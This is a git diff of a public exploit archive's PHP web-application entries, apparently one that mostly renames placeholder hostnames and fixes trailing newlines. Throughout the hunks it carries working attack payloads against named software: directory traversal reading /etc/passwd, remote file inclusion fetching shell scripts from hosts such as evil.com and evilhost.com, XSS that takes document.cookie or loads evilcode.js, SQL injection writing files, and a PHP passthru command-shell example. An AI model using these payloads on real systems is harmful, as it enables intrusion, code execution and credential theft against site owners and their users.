+http://blablabla.com/shoutbox.php?conf=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/22672.txt b/platforms/php/webapps/22672.txt index ee827e372..e9655507d 100755 --- a/platforms/php/webapps/22672.txt +++ b/platforms/php/webapps/22672.txt @@ -4,4 +4,4 @@ A remote file include vulnerability has been reported for Cafelog. Due to insuff If the remote file is a malicious PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the web server. -http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com \ No newline at end of file +http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com \ No newline at end of file diff --git a/platforms/php/webapps/22675.txt b/platforms/php/webapps/22675.txt index 116fd2cc1..f27e746f3 100755 --- a/platforms/php/webapps/22675.txt +++ b/platforms/php/webapps/22675.txt @@ -23,4 +23,4 @@ Content-Type: text/html; charset=iso-8859-1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -----------------header.txt -------------------------- \ No newline at end of file +----------------header.txt -------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/22693.txt b/platforms/php/webapps/22693.txt index c3852d409..792ea41ee 100755 --- a/platforms/php/webapps/22693.txt +++ b/platforms/php/webapps/22693.txt @@ -6,4 +6,4 @@ This issue may be exploited by an attacker to use the vulnerable host as an open <input type="hidden" name="recipient" value="user1@offsitedomain.(localdomain)co -m, user2@offsitedomain.(localdomain)com"> \ No newline at end of file +m, user2@offsitedomain.(localdomain)com"> \ No newline at end of file diff --git a/platforms/php/webapps/2270.php b/platforms/php/webapps/2270.php index b5e48fb9d..c06078f1b 100755 --- a/platforms/php/webapps/2270.php +++ b/platforms/php/webapps/2270.php @@ -30,7 +30,7 @@ vulnerable code => calendar/inc/class.holidaycalc.inc.php line 14-33: .... ex: -http://www.server/[phpGroupWare_path]/calendar/inc/class.holidaycalc.inc.php?GLOBALS[phpgw_info][user][preferences][common][country]=../../../../../../../../../etc/passwd%00 +http://www.site.com/[phpGroupWare_path]/calendar/inc/class.holidaycalc.inc.php?GLOBALS[phpgw_info][user][preferences][common][country]=../../../../../../../../../etc/passwd%00 */ echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"; diff --git a/platforms/php/webapps/22704.txt b/platforms/php/webapps/22704.txt index 16a1c642c..03f7d6982 100755 --- a/platforms/php/webapps/22704.txt +++ b/platforms/php/webapps/22704.txt @@ -10,4 +10,4 @@ http://www.example.com/modules/WebChat/out.php http://www.example.com/modules.php?op=modload&name=WebChat&file=index&roomid=Non_Numeric http://www.example.com/modules/WebChat/in.php http://www.example.com/modules/WebChat/quit.php -http://www.example.com/modules/WebChat/users.php \ No newline at end of file +http://www.example.com/modules/WebChat/users.php \ No newline at end of file diff --git a/platforms/php/webapps/22705.txt b/platforms/php/webapps/22705.txt index 05d869d72..577f71f6d 100755 --- a/platforms/php/webapps/22705.txt +++ b/platforms/php/webapps/22705.txt @@ -6,4 +6,4 @@ http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfil http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd -http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue \ No newline at end of file +http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue \ No newline at end of file diff --git a/platforms/php/webapps/22708.txt b/platforms/php/webapps/22708.txt index 4c0134ab8..884b0d0a4 100755 --- a/platforms/php/webapps/22708.txt +++ b/platforms/php/webapps/22708.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/22709.txt b/platforms/php/webapps/22709.txt index 37d40af49..95daa1474 100755 --- a/platforms/php/webapps/22709.txt +++ b/platforms/php/webapps/22709.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/2271.txt b/platforms/php/webapps/2271.txt index 773ceb03f..b95e9d9ef 100755 --- a/platforms/php/webapps/2271.txt +++ b/platforms/php/webapps/2271.txt @@ -20,7 +20,7 @@ ############################################################ -#Exploit: http://www.server/[path]/mod_phpalbum/sommaire_admin.php?chemin=http://evil_scripts? +#Exploit: http://www.site.com/[path]/mod_phpalbum/sommaire_admin.php?chemin=http://evil_scripts? ############################################################ diff --git a/platforms/php/webapps/22715.txt b/platforms/php/webapps/22715.txt index 854350e92..4f3be3545 100755 --- a/platforms/php/webapps/22715.txt +++ b/platforms/php/webapps/22715.txt @@ -6,4 +6,4 @@ The issue presents itself when a malicious request is made for the WebChat ?user This weakness was reported to affect WebChat version 2.0 other versions may also be affected. -http://www.example.com/modules/WebChat/users.php?rid=Non_Numeric&uid=-1&username=[Any_Word_or_your_code] \ No newline at end of file +http://www.example.com/modules/WebChat/users.php?rid=Non_Numeric&uid=-1&username=[Any_Word_or_your_code] \ No newline at end of file diff --git a/platforms/php/webapps/22717.txt b/platforms/php/webapps/22717.txt index 67ade0508..b8e85f446 100755 --- a/platforms/php/webapps/22717.txt +++ b/platforms/php/webapps/22717.txt @@ -13,4 +13,4 @@ ameBorder=0%20width=500%20scrolling=yes%20height=500></IFRAME> ?script> alert(document.cookie); ?/script> ------ Source Code For attack.htm ----- \ No newline at end of file +----- Source Code For attack.htm ----- \ No newline at end of file diff --git a/platforms/php/webapps/22725.txt b/platforms/php/webapps/22725.txt index 79ad82dc3..11fdb4798 100755 --- a/platforms/php/webapps/22725.txt +++ b/platforms/php/webapps/22725.txt @@ -4,4 +4,4 @@ Scripts that include the PHP phpinfo() debugging function may be prone to cross- http://www.example.com/info.php?variable=[code] -where [code] equals hostile HTML or script code. \ No newline at end of file +where [code] equals hostile HTML or script code. \ No newline at end of file diff --git a/platforms/php/webapps/22742.txt b/platforms/php/webapps/22742.txt index b3b867a81..4cf1137b4 100755 --- a/platforms/php/webapps/22742.txt +++ b/platforms/php/webapps/22742.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo---------------------- | ReciPHP 1.1 SQL Injection Vulnerability | diff --git a/platforms/php/webapps/22750.txt b/platforms/php/webapps/22750.txt index 3c9db7b82..0af90e627 100755 --- a/platforms/php/webapps/22750.txt +++ b/platforms/php/webapps/22750.txt @@ -10,4 +10,4 @@ cmd=pwd http://www.example.com/zentrack/www/index.php?libDir=http:// [attacker]/test/&cmd=pwd -http://www.exmaple.com/zentrack/index.php?configFile=/../../../../../etc/passwd \ No newline at end of file +http://www.exmaple.com/zentrack/index.php?configFile=/../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/22760.txt b/platforms/php/webapps/22760.txt index 59a925912..bacccaf4c 100755 --- a/platforms/php/webapps/22760.txt +++ b/platforms/php/webapps/22760.txt @@ -6,4 +6,4 @@ It has been reported that an attacker, may connect to the HostingDirector server http://www.example.com/[INSTALLATION PATH]/dev/VDS/submitted.php?[TARGET USER]\activeservices\http||watchdog_running=[false]&restart_vds=on&success_m -sg=Remote USER VDS restarted trough this kind of attack/watch dog disabled. \ No newline at end of file +sg=Remote USER VDS restarted trough this kind of attack/watch dog disabled. \ No newline at end of file diff --git a/platforms/php/webapps/22761.txt b/platforms/php/webapps/22761.txt index 0fd9c18a8..463978f24 100755 --- a/platforms/php/webapps/22761.txt +++ b/platforms/php/webapps/22761.txt @@ -4,9 +4,9 @@ The PostNuke 'modules.php' script does not sufficiently sanitize data supplied v Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible. -http://server/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&i +http://www.server.com/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&i d_cat=1&categories=%3Cimg%20src=javascript:alert(document.cookie);%3E&parent _id=0 -http://server/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert -(document.cookie);%3E&op=modload&name=Members_List&file=index \ No newline at end of file +http://www.server.com/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert +(document.cookie);%3E&op=modload&name=Members_List&file=index \ No newline at end of file diff --git a/platforms/php/webapps/22762.txt b/platforms/php/webapps/22762.txt index e124fc72c..28f0af016 100755 --- a/platforms/php/webapps/22762.txt +++ b/platforms/php/webapps/22762.txt @@ -26,4 +26,4 @@ re%20comes%20your%20XSS%20Attack&error=Either+user+or+password+are+incorrect +,+please+re-fill+in+. https://[TARGET]/[INSTALLATION -PATH]/login/sm_login_screen.php?uid="><h1>XSS%20! \ No newline at end of file +PATH]/login/sm_login_screen.php?uid="><h1>XSS%20! \ No newline at end of file diff --git a/platforms/php/webapps/22767.txt b/platforms/php/webapps/22767.txt index 823de9368..d98b01675 100755 --- a/platforms/php/webapps/22767.txt +++ b/platforms/php/webapps/22767.txt @@ -4,6 +4,6 @@ The PostNuke 'user.php' script does not sufficiently sanitize data supplied via Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible. -http://server/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22 +http://www.server.com/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22 %3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=lucas@pelu -cas.com \ No newline at end of file +cas.com \ No newline at end of file diff --git a/platforms/php/webapps/22776.txt b/platforms/php/webapps/22776.txt index e418cb75f..e1481b6a7 100755 --- a/platforms/php/webapps/22776.txt +++ b/platforms/php/webapps/22776.txt @@ -10,4 +10,4 @@ or http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with: -http://attacker.example.com/config/badcode.txt \ No newline at end of file +http://attacker.example.com/config/badcode.txt \ No newline at end of file diff --git a/platforms/php/webapps/22792.txt b/platforms/php/webapps/22792.txt index f9bae1299..a0d73706b 100755 --- a/platforms/php/webapps/22792.txt +++ b/platforms/php/webapps/22792.txt @@ -11,4 +11,4 @@ All actions carried out by an authenticated user are done with their own local s It should also be noted that the vendor has announced that the privilege elevation issue is indeed legitimate. In the future this BID will be re-used to cover that vulnerability alone. -http://www.example.com/plugins/administrator/options.php?username="root"&adm_Group1=//Find it from file:plugins/administrator/admins//&off=true&key=$ \ No newline at end of file +http://www.example.com/plugins/administrator/options.php?username="root"&adm_Group1=//Find it from file:plugins/administrator/admins//&off=true&key=$ \ No newline at end of file diff --git a/platforms/php/webapps/22798.txt b/platforms/php/webapps/22798.txt index 88c6320d8..1a7c8c760 100755 --- a/platforms/php/webapps/22798.txt +++ b/platforms/php/webapps/22798.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7963/info A vulnerability has been reported for phpMyAdmin that may reveal the contents of directories to remote attackers. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, dot-dot-slash '../' directory traversal sequences are not sufficiently sanitized from URI parameters. -http://localhost/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=[../../../] \ No newline at end of file +http://localhost/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=[../../../] \ No newline at end of file diff --git a/platforms/php/webapps/2280.pl b/platforms/php/webapps/2280.pl index 35f679335..83905384d 100755 --- a/platforms/php/webapps/2280.pl +++ b/platforms/php/webapps/2280.pl @@ -41,7 +41,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <DMO Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[DMO_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[DMO_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -108,7 +108,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <DMO Locaction> <shell location> <shell cmd>\r\n\n"; -print " <DMO Locaction> - Full path to DMO ex: http://www.server/DMO/\r\n"; +print " <DMO Locaction> - Full path to DMO ex: http://www.site.com/DMO/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/2281.pl b/platforms/php/webapps/2281.pl index b7dc6bb7b..0b6de709e 100755 --- a/platforms/php/webapps/2281.pl +++ b/platforms/php/webapps/2281.pl @@ -41,7 +41,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <Pheap Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[Pheap_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[Pheap_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -115,7 +115,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <Pheap Locaction> <shell location> <shell cmd>\r\n\n"; -print " <Pheap Locaction> - Full path to Pheap ex: http://www.server/Pheap/\r\n"; +print " <Pheap Locaction> - Full path to Pheap ex: http://www.site.com/Pheap/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/22810.txt b/platforms/php/webapps/22810.txt index 3027e213e..b7dc085b4 100755 --- a/platforms/php/webapps/22810.txt +++ b/platforms/php/webapps/22810.txt @@ -4,4 +4,4 @@ Reportedly, pMachine is vulnerable to a cross-site scripting attack. The vulnera An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied code passed as the keywords URI parameter may execute within the context of the site hosting the vulnerable software when the malicious link is visited. -http://www.example.com/Path_To_pMachine/search/index.php?weblog=name_of_weblog&keywords=<script code> \ No newline at end of file +http://www.example.com/Path_To_pMachine/search/index.php?weblog=name_of_weblog&keywords=<script code> \ No newline at end of file diff --git a/platforms/php/webapps/2293.txt b/platforms/php/webapps/2293.txt index 219e02e79..37b733bb6 100755 --- a/platforms/php/webapps/2293.txt +++ b/platforms/php/webapps/2293.txt @@ -3,9 +3,9 @@ NeXtMaN <mc.nadz [at] gmail.com> Here are 3 RFI vulnerabilities in Flashchat i've found: Code: -http://server/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt? -http://server/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt? -http://server/[script_path]/inc/cmses/aedatingCMS.php?dir[inc]=http://evil.com/shell.txt? +http://site.com/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt? +http://site.com/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt? +http://site.com/[script_path]/inc/cmses/aedatingCMS.php?dir[inc]=http://evil.com/shell.txt? video here: diff --git a/platforms/php/webapps/2299.php b/platforms/php/webapps/2299.php index 16c1d3412..62abd6851 100755 --- a/platforms/php/webapps/2299.php +++ b/platforms/php/webapps/2299.php @@ -57,7 +57,7 @@ this works against register_globals=On and magic quotes = off ex: -http://www.server/[Proxima_path]/modules/Forums/bb_smilies.php?name=../../../../../../etc/passwd%00 +http://www.site.com/[Proxima_path]/modules/Forums/bb_smilies.php?name=../../../../../../etc/passwd%00 "; print $devilteam; if ($argc<4) { diff --git a/platforms/php/webapps/23028.txt b/platforms/php/webapps/23028.txt index ddf34d588..6943f7078 100755 --- a/platforms/php/webapps/23028.txt +++ b/platforms/php/webapps/23028.txt @@ -14,3 +14,4 @@ ########################################################################## # 0x31337.net ########################################################################## + \ No newline at end of file diff --git a/platforms/php/webapps/23029.txt b/platforms/php/webapps/23029.txt index 4dc8d6f05..cd1e23aa1 100755 --- a/platforms/php/webapps/23029.txt +++ b/platforms/php/webapps/23029.txt @@ -15,3 +15,4 @@ ########################################################################## # 0x31337.net ########################################################################## + \ No newline at end of file diff --git a/platforms/php/webapps/23031.txt b/platforms/php/webapps/23031.txt index 511b2a21b..84b5d7797 100755 --- a/platforms/php/webapps/23031.txt +++ b/platforms/php/webapps/23031.txt @@ -33,7 +33,7 @@ Enter the below into the site title field: When any user visits the web site the above client-side code will be executed in the client browser to steal their cookie. The following page is vulnerable: -http://www.webserver/admin/settings/ +http://www.website.com/admin/settings/ CSRF: The privilege escalation is possible because the form used to change diff --git a/platforms/php/webapps/23036.txt b/platforms/php/webapps/23036.txt index 36d0d19c1..08450b76b 100755 --- a/platforms/php/webapps/23036.txt +++ b/platforms/php/webapps/23036.txt @@ -4,4 +4,4 @@ MatrikzGB Guestbook is prone to a vulnerability that may permit guestbook users http://www.example.com/php/gaestebuch/admin/index.php?do=options&action=optionsok&new_username=regularuser&new_password=regularpass&new_rights=admin&user=regularuser&pass=regularpass -where regularuser and regularpass equal the user credentials of the attacker. \ No newline at end of file +where regularuser and regularpass equal the user credentials of the attacker. \ No newline at end of file diff --git a/platforms/php/webapps/23039.txt b/platforms/php/webapps/23039.txt index d7b04999b..db50817a4 100755 --- a/platforms/php/webapps/23039.txt +++ b/platforms/php/webapps/23039.txt @@ -8,4 +8,4 @@ The problem is reported to be present in Fusion News 3.3, however older versions http://www.example.com/FusionNews/? id=signup&username=DarkKnight&email=EMAIL@EMAIL.COM+&password=123456&icon= -&le=3 \ No newline at end of file +&le=3 \ No newline at end of file diff --git a/platforms/php/webapps/2304.txt b/platforms/php/webapps/2304.txt index c1656aa7d..8cf4bf29c 100755 --- a/platforms/php/webapps/2304.txt +++ b/platforms/php/webapps/2304.txt @@ -26,6 +26,6 @@ huh :] nice code, PoC -http://www.server/[agendapath]/index.php?page=yourcode.txt?&cmd=id +http://www.site.com/[agendapath]/index.php?page=yourcode.txt?&cmd=id # milw0rm.com [2006-09-05] diff --git a/platforms/php/webapps/2305.txt b/platforms/php/webapps/2305.txt index 9afdf3afd..4e009edb9 100755 --- a/platforms/php/webapps/2305.txt +++ b/platforms/php/webapps/2305.txt @@ -30,7 +30,7 @@ include($page.".php"); ?> -http://www.server/annonce.php?page=yourcode.txt?&cmd=id -http://www.server/admin/annonce.php?page=yourcode.txt?&cmd=id +http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id +http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id # milw0rm.com [2006-09-05] diff --git a/platforms/php/webapps/23057.txt b/platforms/php/webapps/23057.txt index 22ce1bb56..2147ad7f8 100755 --- a/platforms/php/webapps/23057.txt +++ b/platforms/php/webapps/23057.txt @@ -4,4 +4,4 @@ A file include vulnerability has been reported in the nphpd.php module of newsPH The issue is reported to exist in the LangFile variable of nphpd.php module of the software. Successful exploitation may lead to execution of arbitrary code on a vulnerable system by a remote attacker. -http://www.example.com/nphp/nphpd.php?nphp_config[LangFile]=/evil/file \ No newline at end of file +http://www.example.com/nphp/nphpd.php?nphp_config[LangFile]=/evil/file \ No newline at end of file diff --git a/platforms/php/webapps/23058.txt b/platforms/php/webapps/23058.txt index 391f9ff5c..b7ac4054e 100755 --- a/platforms/php/webapps/23058.txt +++ b/platforms/php/webapps/23058.txt @@ -9,4 +9,4 @@ pword=a& uname=[fake usernamehere]& nphp_users[user index here][0]=a& nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661& -nphp_users[user index here][3]=5 \ No newline at end of file +nphp_users[user index here][3]=5 \ No newline at end of file diff --git a/platforms/php/webapps/23060.txt b/platforms/php/webapps/23060.txt index be8556d87..43ecc0e0a 100755 --- a/platforms/php/webapps/23060.txt +++ b/platforms/php/webapps/23060.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Py-Membres that allows remote attackers to Reportedly, Py-Membres does not fully check some URI parameters. Thus it is possible for an attacker to manipulate URI parameters and log into the system as an administrative user without the need for passwords. -http://www.example.com/admin/admin.php?adminpy=1 \ No newline at end of file +http://www.example.com/admin/admin.php?adminpy=1 \ No newline at end of file diff --git a/platforms/php/webapps/23061.txt b/platforms/php/webapps/23061.txt index 671351c16..b1079719d 100755 --- a/platforms/php/webapps/23061.txt +++ b/platforms/php/webapps/23061.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Py-Membres that allows remote attackers to It has been reported that an input validation error exists in the pass_done.php file included with Py-Membres. Because of this, a remote attacker may launch SQL injection attacks through the software. -http://www.example.com/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt \ No newline at end of file +http://www.example.com/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt \ No newline at end of file diff --git a/platforms/php/webapps/23064.txt b/platforms/php/webapps/23064.txt index 592c4ab46..6847269ea 100755 --- a/platforms/php/webapps/23064.txt +++ b/platforms/php/webapps/23064.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/8502/info An SQL injection vulnerability has been reported in Attila PHP that could allow an attacker to gain unauthorized privileged access to a target site. This could be accomplished by requesting a URI including parameters designed to influence the results of specific user verification checks. Privileged access to a site implementing Attila PHP could allow an attacker to gain sensitive information or launch other attacks. Set the URI parameter "cook_id" to the value "0 OR visiteur=1" in a request to -http://www.example.org/index.php3 \ No newline at end of file +http://www.example.org/index.php3 \ No newline at end of file diff --git a/platforms/php/webapps/23065.txt b/platforms/php/webapps/23065.txt index 6236878ec..dcaeb3368 100755 --- a/platforms/php/webapps/23065.txt +++ b/platforms/php/webapps/23065.txt @@ -4,4 +4,4 @@ cross-site scripting vulnerability has been reported for miniPortail. The vulner An attacker could exploit this issue to execute arbitrary HTML code in the browser of a remote user who follows a malicious link. -http://www.example.com/?lng=<script> \ No newline at end of file +http://www.example.com/?lng=<script> \ No newline at end of file diff --git a/platforms/php/webapps/23067.txt b/platforms/php/webapps/23067.txt index 6c62b5c45..4583c8e45 100755 --- a/platforms/php/webapps/23067.txt +++ b/platforms/php/webapps/23067.txt @@ -8,4 +8,4 @@ Version 8.2: http://www.example.com/mod.php?mod=<evil_code> Version 8.3: -http://www.example.com/mod.php?mod=%3Ch1%3Etest-nih-publisher&op=viewcat&cid=dudul \ No newline at end of file +http://www.example.com/mod.php?mod=%3Ch1%3Etest-nih-publisher&op=viewcat&cid=dudul \ No newline at end of file diff --git a/platforms/php/webapps/23072.txt b/platforms/php/webapps/23072.txt index 98a8e2dff..e34b08b1c 100755 --- a/platforms/php/webapps/23072.txt +++ b/platforms/php/webapps/23072.txt @@ -5,4 +5,4 @@ The 'invitefriends.php3' script of Ezboard has been reported prone to cross-site It should be noted that it is currently unknown which versions of Ezboard are affected by this vulnerability. This bid will be updated as further information is made available. http://www.example.com/invitefriends.php3?action=http://www.server.org&yourName=%22%3E%3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3 -Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput%20type=text%20name=mail%3E%3C/form%3E%3C!-- \ No newline at end of file +Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput%20type=text%20name=mail%3E%3C/form%3E%3C!-- \ No newline at end of file diff --git a/platforms/php/webapps/23084.txt b/platforms/php/webapps/23084.txt index 0823281a9..2e987d1f1 100755 --- a/platforms/php/webapps/23084.txt +++ b/platforms/php/webapps/23084.txt @@ -10,4 +10,4 @@ ICQ: 11111111 Homepage: http://www.zone-h.org -Message:<script>alert('Zone-H')</script> \ No newline at end of file +Message:<script>alert('Zone-H')</script> \ No newline at end of file diff --git a/platforms/php/webapps/23098.txt b/platforms/php/webapps/23098.txt index d43ebc970..db9e57204 100755 --- a/platforms/php/webapps/23098.txt +++ b/platforms/php/webapps/23098.txt @@ -6,4 +6,4 @@ Successful Exploitation of this issue may allow an attacker to steal cookie-base http://www.example.com/webcalendar/week.php?user="><script>alert(document.cookie)</script> http://www.example.com/webcalendar/week.php?eventinfo=<script>alert(document.cookie)</script> -http://www.example.com/webcalendar/week.php?eventinfo=<script src=http://www.evil.org/evilcode.js</script> \ No newline at end of file +http://www.example.com/webcalendar/week.php?eventinfo=<script src=http://www.evil.org/evilcode.js</script> \ No newline at end of file diff --git a/platforms/php/webapps/23099.txt b/platforms/php/webapps/23099.txt index 26ff9e340..3052cacb2 100755 --- a/platforms/php/webapps/23099.txt +++ b/platforms/php/webapps/23099.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities may allow a remote attacker to http://www.example.com/webcalendar/view_m.php?id=additional sql command http://www.example.com/webcalendar/login.php?user='additional%20sqlcommand -http://www.example.com/webcalendar/login.php?password='additional%20sql%20command \ No newline at end of file +http://www.example.com/webcalendar/login.php?password='additional%20sql%20command \ No newline at end of file diff --git a/platforms/php/webapps/23103.txt b/platforms/php/webapps/23103.txt index 43c9824f9..41c2656bf 100755 --- a/platforms/php/webapps/23103.txt +++ b/platforms/php/webapps/23103.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8551/info A problem has been reported in the checking of input by Digital Scribe, potentially allow for cross-site scripting attacks. Because of this, it may be possible for an attacker to steal cookie authentication credentials or launch other attacks. -http://www.example.com/login.php?error=<script>(document.cookie)</script> \ No newline at end of file +http://www.example.com/login.php?error=<script>(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/23105.txt b/platforms/php/webapps/23105.txt index c6b491ae7..efd64c1cb 100755 --- a/platforms/php/webapps/23105.txt +++ b/platforms/php/webapps/23105.txt @@ -20,6 +20,6 @@ Vulnerable code : The variable '$username' remains unsanitized. -Usage : http://www.server/kingchat.php?send=Red_Hat&username=[SQLi] +Usage : http://www.site.com/kingchat.php?send=Red_Hat&username=[SQLi] Shoutout to Zixem <3 & NullSec :3 \ No newline at end of file diff --git a/platforms/php/webapps/23106.txt b/platforms/php/webapps/23106.txt index 8bb3768f1..62d6084e6 100755 --- a/platforms/php/webapps/23106.txt +++ b/platforms/php/webapps/23106.txt @@ -14,4 +14,4 @@ The vulnerability lies in the eventform.php file. Entering your JavaScript into the form boxes and saving the event will store and trigger your persistent XSS script. Simplez. Have fun. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/2311.txt b/platforms/php/webapps/2311.txt index 89644a9b1..00b890f9b 100755 --- a/platforms/php/webapps/2311.txt +++ b/platforms/php/webapps/2311.txt @@ -22,7 +22,7 @@ Exploit: Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/includes/functions_portal.php?phpbb_root_path=[Evi +# http://www.site.com/[path]/includes/functions_portal.php?phpbb_root_path=[Evi l_Script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/23125.txt b/platforms/php/webapps/23125.txt index afc740905..da4e68708 100755 --- a/platforms/php/webapps/23125.txt +++ b/platforms/php/webapps/23125.txt @@ -7,4 +7,4 @@ An attacker may exploit this issue to steal cookie-based authentication credenti [url=http://www.example.com" onclick="alert('Hello')]text[/url] -[url=http://www.example.com" onclick=alert("bug");"]test[/url] \ No newline at end of file +[url=http://www.example.com" onclick=alert("bug");"]test[/url] \ No newline at end of file diff --git a/platforms/php/webapps/23129.txt b/platforms/php/webapps/23129.txt index 424ae8f8f..abf1b7ba0 100755 --- a/platforms/php/webapps/23129.txt +++ b/platforms/php/webapps/23129.txt @@ -5,4 +5,4 @@ Invision Power Board is prone to a cross-site scripting vulnerability. It has be http://www.example.com/index.php?showtopic='><script>window.open (window.location.search.substring(79)) </script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision -http://www.example.com/?showtopic='><script>alert(window.document.url)</script><plaintext> \ No newline at end of file +http://www.example.com/?showtopic='><script>alert(window.document.url)</script><plaintext> \ No newline at end of file diff --git a/platforms/php/webapps/23140.txt b/platforms/php/webapps/23140.txt index 610e3b1d3..ea34b1655 100755 --- a/platforms/php/webapps/23140.txt +++ b/platforms/php/webapps/23140.txt @@ -6,4 +6,4 @@ http://www.example.org/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcG It should be noted that the above base64 encoded string contains the following data: -' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1 \ No newline at end of file +' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1 \ No newline at end of file diff --git a/platforms/php/webapps/2315.txt b/platforms/php/webapps/2315.txt index 33d52e800..7ffcd401d 100755 --- a/platforms/php/webapps/2315.txt +++ b/platforms/php/webapps/2315.txt @@ -14,6 +14,6 @@ # Vulnerable : - http://www.server/[path]/akarru.gui/main_content.php?bm_content=[shell] + http://www.site.com/[path]/akarru.gui/main_content.php?bm_content=[shell] # milw0rm.com [2006-09-06] diff --git a/platforms/php/webapps/23160.txt b/platforms/php/webapps/23160.txt index 8c2bc5784..9561a4ec9 100755 --- a/platforms/php/webapps/23160.txt +++ b/platforms/php/webapps/23160.txt @@ -6,4 +6,4 @@ The vulnerabilities have been reported to exists in the banners.php, emailfriend Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well. -http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&email_to=example@example.com&sitename=www.example.com \ No newline at end of file +http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&email_to=example@example.com&sitename=www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/23163.txt b/platforms/php/webapps/23163.txt index 059a42902..fc3bfb56c 100755 --- a/platforms/php/webapps/23163.txt +++ b/platforms/php/webapps/23163.txt @@ -12,4 +12,4 @@ http://www.example.com/powerslave,id,10;,nodeid,,_language,uk.html and table-numbers. Error: Could't find article! -SELECT example_table.* FROM example_table WHERE example_table.ID=10; \ No newline at end of file +SELECT example_table.* FROM example_table WHERE example_table.ID=10; \ No newline at end of file diff --git a/platforms/php/webapps/23164.txt 